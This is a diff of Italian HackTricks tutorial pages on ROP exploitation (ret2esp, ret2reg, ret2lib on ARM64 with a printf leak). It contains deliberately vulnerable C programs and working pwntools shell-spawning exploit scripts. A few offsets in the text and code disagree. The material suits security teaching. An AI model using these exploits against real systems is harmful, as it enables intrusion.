Translated ['binary-exploitation/rop-return-oriented-programing/ret2esp-

SUMMARY.md

@@ -705,6 +705,7 @@
     * [Leaking libc address with ROP](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md)
       * [Leaking libc - template](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
     * [One Gadget](binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md)
+    * [Ret2lib + Printf leak - arm64](binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md)
   * [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md)
   * [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
   * [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)

binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md

@@ -10,21 +10,21 @@ Altri modi per supportare HackTricks:
 * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
 * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
 * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
+* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
 
 </details>
 
 ## **Ret2esp**
 
-**Poiché l'ESP (Puntatore dello Stack) punta sempre alla cima dello stack**, questa tecnica prevede la sostituzione dell'EIP (Instruction Pointer) con l'indirizzo di un'istruzione **`jmp esp`** o **`call esp`**. Facendo ciò, lo shellcode viene posizionato subito dopo l'EIP sovrascritto. Quando l'istruzione `ret` viene eseguita, ESP punta all'indirizzo successivo, precisamente dove lo shellcode è memorizzato.
+**Poiché l'ESP (Stack Pointer) punta sempre alla cima dello stack**, questa tecnica comporta la sostituzione dell'EIP (Instruction Pointer) con l'indirizzo di un'istruzione **`jmp esp`** o **`call esp`**. Facendo ciò, lo shellcode viene posizionato subito dopo l'EIP sovrascritto. Quando l'istruzione `ret` viene eseguita, ESP punta all'indirizzo successivo, precisamente dove lo shellcode è memorizzato.
 
-Se **Address Space Layout Randomization (ASLR)** non è abilitato in Windows o Linux, è possibile utilizzare le istruzioni `jmp esp` o `call esp` trovate nelle librerie condivise. Tuttavia, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) attivo, potrebbe essere necessario cercare queste istruzioni all'interno del programma vulnerabile stesso (e potresti dover superare [**PIE**](../common-binary-protections-and-bypasses/pie/)).
+Se **Address Space Layout Randomization (ASLR)** non è abilitato in Windows o Linux, è possibile utilizzare istruzioni `jmp esp` o `call esp` trovate nelle librerie condivise. Tuttavia, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) attivo, potrebbe essere necessario cercare queste istruzioni all'interno del programma vulnerabile stesso (e potresti dover superare [**PIE**](../common-binary-protections-and-bypasses/pie/)).
 
 Inoltre, essere in grado di posizionare lo shellcode **dopo la corruzione dell'EIP**, piuttosto che nel mezzo dello stack, garantisce che eventuali istruzioni `push` o `pop` eseguite durante il funzionamento della funzione non interferiscano con lo shellcode. Questa interferenza potrebbe verificarsi se lo shellcode fosse posizionato nel mezzo dello stack della funzione.
 
 ### Spazio insufficiente
 
-Se ti manca lo spazio per scrivere dopo aver sovrascritto RIP (forse solo pochi byte), scrivi uno shellcode iniziale **`jmp`** come:
+Se ti manca spazio per scrivere dopo aver sovrascritto RIP (forse solo pochi byte), scrivi uno shellcode iniziale **`jmp`** come:
 ```armasm
 sub rsp, 0x30
 jmp rsp
@@ -53,7 +53,7 @@ pause()
 p.sendlineafter('RSP!\n', payload)
 p.interactive()
 ```
-Puoi vedere un altro esempio di questa tecnica in [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html). C'è un overflow del buffer senza NX abilitato, viene utilizzato un gadget per **ridurre l'indirizzo di `$esp`** e poi un `jmp esp;` per saltare al codice della shell:
+Puoi vedere un altro esempio di questa tecnica in [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html). C'è un overflow di buffer senza NX abilitato, viene utilizzato un gadget per **ridurre l'indirizzo di `$esp`** e poi un `jmp esp;` per saltare al codice della shell:
 ```python
 # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
 from pwn import *
@@ -87,7 +87,6 @@ target.sendline(payload)
 
 # Drop to an interactive shell
 target.interactive()
-
 ```
 ## Ret2reg
 
@@ -101,10 +100,93 @@ Puoi trovare alcuni esempi qui:&#x20;
 * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
 * **`strcpy`** memorizzerà in **`eax`** l'indirizzo del buffer in cui è memorizzato il codice shell e **`eax`** non viene sovrascritto, quindi è possibile utilizzare un `ret2eax`.
 
+## ARM64
+
+### Ret2sp
+
+In ARM64 non ci sono istruzioni che consentono di **saltare al registro SP**. Potrebbe essere possibile trovare un gadget che **sposta sp in un registro e poi salta a quel registro**, ma nella libc del mio kali non ho trovato alcun gadget del genere:
+
+{% code overflow="wrap" %}
+```bash
+for i in `seq 1 30`; do
+ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
+done
+```
+{% endcode %}
+
+Gli unici che ho scoperto cambierebbero il valore del registro in cui è stata copiata sp prima di saltarci (quindi diventerebbe inutile):
+
+<figure><img src="../../.gitbook/assets/image (1221).png" alt=""><figcaption></figcaption></figure>
+
+### Ret2reg
+
+Se un registro ha un indirizzo interessante, è possibile saltarci semplicemente trovando l'istruzione adeguata. Si potrebbe utilizzare qualcosa del genere:
+
+{% code overflow="wrap" %}
+```bash
+ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
+```
+{% endcode %}
+
+In ARM64, è **`x0`** che memorizza il valore di ritorno di una funzione, quindi potrebbe essere che x0 memorizzi l'indirizzo di un buffer controllato dall'utente con uno shellcode da eseguire.
+
+Codice di esempio:
+```c
+// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
+
+#include <stdio.h>
+#include <string.h>
+
+void do_stuff(int do_arg){
+if (do_arg == 1)
+__asm__("br x0");
+return;
+}
+
+char* vulnerable_function() {
+char buffer[64];
+fgets(buffer, sizeof(buffer)*3, stdin);
+return buffer;
+}
+
+int main(int argc, char **argv) {
+char* b = vulnerable_function();
+do_stuff(2)
+return 0;
+}
+```
+Controllando il disassemblaggio della funzione è possibile vedere che l'**indirizzo del buffer** (vulnerabile a bof e **controllato dall'utente**) è **memorizzato in `x0`** prima di tornare dal buffer overflow:
+
+<figure><img src="../../.gitbook/assets/image (1222).png" alt="" width="563"><figcaption></figcaption></figure>
+
+È anche possibile trovare il gadget **`br x0`** nella funzione **`do_stuff`**:
+
+<figure><img src="../../.gitbook/assets/image (1223).png" alt="" width="563"><figcaption></figcaption></figure>
+
+Utilizzeremo quel gadget per saltarci sopra perché il binario è compilato **SENZA PIE.** Utilizzando un pattern è possibile vedere che l'**offset del buffer overflow è 80**, quindi l'exploit sarebbe:
+```python
+from pwn import *
+
+p = process('./ret2x0')
+elf = context.binary = ELF('./ret2x0')
+
+stack_offset = 72
+shellcode = asm(shellcraft.sh())
+br_x0 = p64(0x4006a0) # Addr of: br x0;
+payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
+
+p.sendline(payload)
+p.interactive()
+```
+{% hint style="warning" %}
+Se invece di `fgets` fosse stato usato qualcosa come **`read`**, sarebbe stato possibile aggirare anche il PIE **sovrascrivendo solo gli ultimi 2 byte dell'indirizzo di ritorno** per tornare all'istruzione `br x0;` senza bisogno di conoscere l'indirizzo completo.\
+Con `fgets` non funziona perché **aggiunge un byte nullo (0x00) alla fine**.
+{% endhint %}
+
 ## Protezioni
 
-* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Se lo stack non è eseguibile, questo non aiuterà poiché dobbiamo inserire il codice shell nello stack e saltare per eseguirlo.
-* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Queste possono rendere più difficile trovare un'istruzione su cui saltare per esp o qualsiasi altro registro.
+* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Se lo stack non è eseguibile, questo non aiuterà poiché dobbiamo inserire lo shellcode nello stack e saltare per eseguirlo.
+* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Queste possono rendere più difficile trovare un'istruzione su cui saltare per raggiungere esp o qualsiasi altro registro.
 
 ## Riferimenti
 
@@ -113,14 +195,14 @@ Puoi trovare alcuni esempi qui:&#x20;
 
 <details>
 
-<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
 
 Altri modi per supportare HackTricks:
 
 * Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
-* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
+* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
 * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
 * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
+* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

binary-exploitation/rop-return-oriented-programing/ret2lib/README.md

@@ -16,7 +16,7 @@ Altri modi per supportare HackTricks:
 
 ## **Informazioni di Base**
 
-L'essenza di **Ret2Libc** è quella di reindirizzare il flusso di esecuzione di un programma vulnerabile a una funzione all'interno di una libreria condivisa (ad esempio, **system**, **execve**, **strcpy**) anziché eseguire shellcode fornito dall'attaccante nello stack. L'attaccante crea un payload che modifica l'indirizzo di ritorno nello stack per puntare alla funzione della libreria desiderata, organizzando anche eventuali argomenti necessari in base alla convenzione di chiamata.
+L'essenza di **Ret2Libc** è quella di reindirizzare il flusso di esecuzione di un programma vulnerabile a una funzione all'interno di una libreria condivisa (ad esempio, **system**, **execve**, **strcpy**) anziché eseguire shellcode fornito dall'attaccante nello stack. L'attaccante crea un payload che modifica l'indirizzo di ritorno nello stack per puntare alla funzione della libreria desiderata, predisponendo anche eventuali argomenti necessari in base alla convenzione di chiamata.
 
 ### **Passaggi di Esempio (semplificati)**
 
@@ -41,7 +41,7 @@ for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
 ```bash
 readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
 ```
-* Sapendo quale libc viene utilizzato, è anche possibile trovare l'offset alla stringa della funzione `/bin/sh` con:
+* Sapendo quale libc è utilizzato, è anche possibile trovare l'offset alla stringa della funzione `/bin/sh` con:
 ```bash
 strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
 ```
@@ -65,7 +65,7 @@ In questo caso è caricata in **0xb75dc000** (Questo sarà l'indirizzo di base d
 
 ## Libreria libc sconosciuta
 
-Potrebbe essere possibile che **non conosci la libc caricata** dal binario (perché potrebbe trovarsi in un server a cui non hai accesso). In tal caso potresti sfruttare la vulnerabilità per **rilevare alcuni indirizzi e trovare quale libreria libc** viene utilizzata:
+Potrebbe essere possibile che **non conosci la libc caricata** dal binario (perché potrebbe trovarsi in un server a cui non hai accesso). In tal caso potresti sfruttare la vulnerabilità per **rivelare alcuni indirizzi e trovare quale libreria libc** viene utilizzata:
 
 {% content-ref url="rop-leaking-libc-address/" %}
 [rop-leaking-libc-address](rop-leaking-libc-address/)
@@ -93,15 +93,15 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
 
 ## One Gadget
 
-Esegui una shell saltando semplicemente a **un** indirizzo specifico nella `libc`:
+Esegui una shell saltando direttamente a **un** specifico **indirizzo** nella libc:
 
 {% content-ref url="one-gadget.md" %}
 [one-gadget.md](one-gadget.md)
 {% endcontent-ref %}
 
-## Esempio di codice x86 Ret2lib
+## Esempio di Codice x86 Ret2lib
 
-In questo esempio, la forzatura dell'ASLR è integrata nel codice e il binario vulnerabile è situato su un server remoto:
+In questo esempio, la forzatura ASLR è integrata nel codice e il binario vulnerabile è situato su un server remoto:
 ```python
 from pwn import *
 
@@ -125,9 +125,21 @@ Controlla l'esempio da:
 [..](../)
 {% endcontent-ref %}
 
+## Esempio ARM64 Ret2lib
+
+Nel caso di ARM64, l'istruzione ret salta dove punta il registro x30 e non dove punta il registro dello stack. Quindi è un po' più complicato.
+
+Inoltre, in ARM64 un'istruzione fa ciò che l'istruzione fa (non è possibile saltare nel mezzo delle istruzioni e trasformarle in nuove).
+
+Controlla l'esempio da:
+
+{% content-ref url="ret2lib-+-printf-leak-arm64.md" %}
+[ret2lib-+-printf-leak-arm64.md](ret2lib-+-printf-leak-arm64.md)
+{% endcontent-ref %}
+
 ## Ret-into-printf (o puts)
 
-Questo permette di **ottenere informazioni dal processo** chiamando `printf`/`puts` con alcuni dati specifici posizionati come argomento.
+Questo permette di **rilevare informazioni dal processo** chiamando `printf`/`puts` con alcuni dati specifici posizionati come argomento. Ad esempio, mettendo l'indirizzo di `puts` nella GOT in una chiamata a `puts` si **rileverà l'indirizzo di `puts` in memoria**.
 
 ## Ret2printf
 
@@ -142,12 +154,12 @@ Questo significa fondamentalmente abusare di un **Ret2lib per trasformarlo in un
 * [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
 * Ret2lib, dato un leak all'indirizzo di una funzione in libc, utilizzando un gadget
 * [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
-* 64 bit, ASLR abilitato ma nessun PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e leakarlo. Con il canary viene creato un gadget ROP per chiamare puts e leakare l'indirizzo di puts dal GOT e un gadget ROP per chiamare `system('/bin/sh')`
+* 64 bit, ASLR abilitato ma nessun PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e rilevarlo. Con il canary viene creato un gadget ROP per chiamare puts e rilevare l'indirizzo di puts dalla GOT e un gadget ROP per chiamare `system('/bin/sh')`
 * [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
-* 64 bit, ASLR abilitato, nessun canary, stack overflow in main da una funzione figlia. Gadget ROP per chiamare puts e leakare l'indirizzo di puts dal GOT e poi chiamare un one gadget.
+* 64 bit, ASLR abilitato, nessun canary, stack overflow in main da una funzione figlia. Gadget ROP per chiamare puts e rilevare l'indirizzo di puts dalla GOT e poi chiamare un gadget.
 * [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
-* 64 bit, nessun pie, nessun canary, nessun relro, nx. Utilizza la funzione write per leakare l'indirizzo di write (libc) e chiama un one gadget.
+* 64 bit, nessun pie, nessun canary, nessun relro, nx. Utilizza la funzione write per rilevare l'indirizzo di write (libc) e chiama un gadget.
 * [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
-* Utilizza una stringa di formato per leakare il canary dallo stack e un buffer overflow per chiamare system (è nel GOT) con l'indirizzo di `/bin/sh`.
+* Utilizza una stringa di formato per rilevare il canary dallo stack e un buffer overflow per chiamare system (è nella GOT) con l'indirizzo di `/bin/sh`.
 * [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
-* 32 bit, nessun relro, nessun canary, nx, pie. Abusa di un cattivo indicizzazione per leakare gli indirizzi di libc e heap dallo stack. Abusa del buffer overflow per fare un ret2lib chiamando `system('/bin/sh')` (è necessario l'indirizzo dell'heap per eludere un controllo).
+* 32 bit, nessun relro, nessun canary, nx, pie. Abusa di un cattivo indicizzazione per rilevare gli indirizzi di libc e heap dallo stack. Abusa del buffer overflow per fare un ret2lib chiamando `system('/bin/sh')` (è necessario l'indirizzo dell'heap per eludere un controllo).

binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md

@@ -6,7 +6,7 @@
 
 Altri modi per supportare HackTricks:
 
-* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
 * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
 * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
 * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@@ -30,25 +30,29 @@ Per l'indirizzo indicato da One Gadget è necessario **aggiungere l'indirizzo di
 One Gadget è di **grande aiuto per le tecniche di scrittura arbitraria 2 esecuzioni** e potrebbe **semplificare le catene ROP** poiché è sufficiente chiamare un solo indirizzo (e soddisfare i requisiti).
 {% endhint %}
 
+### ARM64
+
+Il repository di github menziona che **ARM64 è supportato** dallo strumento, ma quando viene eseguito nella libc di un Kali 2023.3 **non trova alcun gadget**.
+
 ## Angry Gadget
 
-Dal [**repository github**](https://github.com/ChrisTheCoolHut/angry\_gadget): Ispirato da [OneGadget](https://github.com/david942j/one\_gadget) questo strumento è scritto in python e utilizza [angr](https://github.com/angr/angr) per testare i vincoli per i gadget che eseguono `execve('/bin/sh', NULL, NULL)`\
+Dal [**repository di github**](https://github.com/ChrisTheCoolHut/angry\_gadget): Ispirato da [OneGadget](https://github.com/david942j/one\_gadget) questo strumento è scritto in python e utilizza [angr](https://github.com/angr/angr) per testare i vincoli per i gadget che eseguono `execve('/bin/sh', NULL, NULL)`\
 Se hai esaurito i gadget da provare da OneGadget, Angry Gadget ne fornisce molti altri con vincoli complicati da provare!
 ```bash
 pip install angry_gadget
 
 angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
 ```
-<details>
+<dettagli>
 
-<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
+<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
 
 Altri modi per supportare HackTricks:
 
 * Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
 * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
 * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
+* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
 
-</details>
+</dettagli>

binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md

@@ -0,0 +1,225 @@
+# Ret2lib + Printf leak - arm64
+
+<details>
+
+<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Altri modi per supportare HackTricks:
+
+* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
+* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
+
+</details>
+
+## Ret2lib - Bypass NX con ROP (senza ASLR)
+```c
+#include <stdio.h>
+
+void bof()
+{
+char buf[100];
+printf("\nbof>\n");
+fgets(buf, sizeof(buf)*3, stdin);
+}
+
+void main()
+{
+printfleak();
+bof();
+}
+```
+Compilare senza canary:
+```bash
+clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
+# Disable aslr
+echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
+```
+### Trova l'offset
+
+### Offset x30
+
+Creando un pattern con **`pattern create 200`**, utilizzandolo e verificando l'offset con **`pattern search $x30`** possiamo vedere che l'offset è **`108`** (0x6c).
+
+<figure><img src="../../../.gitbook/assets/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
+
+Dando un'occhiata alla funzione principale disassemblata possiamo vedere che vorremmo **saltare** all'istruzione per saltare direttamente a **`printf`**, il cui offset dal punto in cui il binario è caricato è **`0x860`**:
+
+<figure><img src="../../../.gitbook/assets/image (1216).png" alt=""><figcaption></figcaption></figure>
+
+### Trova system e la stringa `/bin/sh`
+
+Poiché l'ASLR è disabilitato, gli indirizzi saranno sempre gli stessi:
+
+<figure><img src="../../../.gitbook/assets/image (1219).png" alt=""><figcaption></figcaption></figure>
+
+### Trova Gadget
+
+Dobbiamo avere in **`x0`** l'indirizzo della stringa **`/bin/sh`** e chiamare **`system`**.
+
+Utilizzando rooper è stato trovato un gadget interessante:
+```
+0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
+```
+Questo gadget caricherà `x0` da **`$sp + 0x18`** e poi caricherà gli indirizzi x29 e x30 da sp e salterà a x30. Quindi con questo gadget possiamo **controllare il primo argomento e poi saltare a system**.
+
+### Sfruttare
+```python
+from pwn import *
+from time import sleep
+
+p = process('./rop')  # For local binary
+libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
+libc.address = 0x0000fffff7df0000
+binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
+system = libc.sym["system"]
+
+def expl_bof(payload):
+p.recv()
+p.sendline(payload)
+
+# Ret2main
+stack_offset = 108
+ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
+
+x29 = b"AAAAAAAA"
+x30 = p64(system)
+fill = b"A" * (0x18 - 0x10)
+x0 = p64(binsh)
+
+payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
+p.sendline(payload)
+
+p.interactive()
+p.close()
+```
+## Ret2lib - Bypass NX, ASLR e PIE con leak di printf dallo stack
+```c
+#include <stdio.h>
+
+void printfleak()
+{
+char buf[100];
+printf("\nPrintf>\n");
+fgets(buf, sizeof(buf), stdin);
+printf(buf);
+}
+
+void bof()
+{
+char buf[100];
+printf("\nbof>\n");
+fgets(buf, sizeof(buf)*3, stdin);
+}
+
+void main()
+{
+printfleak();
+bof();
+}
+
+```
+Compilare **senza canary**:
+```bash
+clang -o rop rop.c -fno-stack-protector -Wno-format-security
+```
+### PIE e ASLR ma senza canary
+
+* Round 1:
+* Fuga di PIE dallo stack
+* Abuso di bof per tornare a main
+* Round 2:
+* Fuga di libc dallo stack
+* ROP: ret2system
+
+### Fughe di Printf
+
+Impostando un breakpoint prima di chiamare printf è possibile vedere che ci sono indirizzi a cui tornare nel binario nello stack e anche indirizzi libc:
+
+<figure><img src="../../../.gitbook/assets/image (1212).png" alt="" width="563"><figcaption></figcaption></figure>
+
+Provando offset diversi, **`%21$p`** può rivelare un indirizzo binario (bypass PIE) e **`%25$p`** può rivelare un indirizzo libc:
+
+<figure><img src="../../../.gitbook/assets/image (1220).png" alt="" width="440"><figcaption></figcaption></figure>
+
+Sottraendo l'indirizzo libc rivelato con l'indirizzo di base di libc, è possibile vedere che l'**offset** dell'**indirizzo rivelato dalla base è `0x49c40`.**
+
+### Offset x30
+
+Vedere l'esempio precedente poiché il bof è lo stesso.
+
+### Trovare Gadget
+
+Come nell'esempio precedente, dobbiamo avere in **`x0`** l'indirizzo della stringa **`/bin/sh`** e chiamare **`system`**.
+
+Utilizzando rooper è stato trovato un gadget interessante:
+```
+0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
+```
+Questo gadget caricherà `x0` da **`$sp + 0x78`** e poi caricherà gli indirizzi x29 e x30 da sp e salterà a x30. Quindi con questo gadget possiamo **controllare il primo argomento e poi saltare a system**.
+
+### Sfruttare
+```python
+from pwn import *
+from time import sleep
+
+p = process('./rop')  # For local binary
+libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
+
+def leak_printf(payload, is_main_addr=False):
+p.sendlineafter(b">\n" ,payload)
+response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
+if is_main_addr:
+response = response[:-4] + b"0000"
+return int(response, 16)
+
+def expl_bof(payload):
+p.recv()
+p.sendline(payload)
+
+# Get main address
+main_address = leak_printf(b"%21$p", True)
+print(f"Bin address: {hex(main_address)}")
+
+# Ret2main
+stack_offset = 108
+main_call_printf_offset = 0x860 #Offset inside main to call printfleak
+print("Going back to " + str(hex(main_address + main_call_printf_offset)))
+ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
+expl_bof(ret2main)
+
+# libc
+libc_base_address = leak_printf(b"%25$p") - 0x26dc4
+libc.address = libc_base_address
+print(f"Libc address: {hex(libc_base_address)}")
+binsh = next(libc.search(b"/bin/sh"))
+system = libc.sym["system"]
+
+# ret2system
+ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
+
+x29 = b"AAAAAAAA"
+x30 = p64(system)
+fill = b"A" * (0x78 - 0x10)
+x0 = p64(binsh)
+
+payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
+p.sendline(payload)
+
+p.interactive()
+```
+<details>
+
+<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
+
+Altri modi per supportare HackTricks:
+
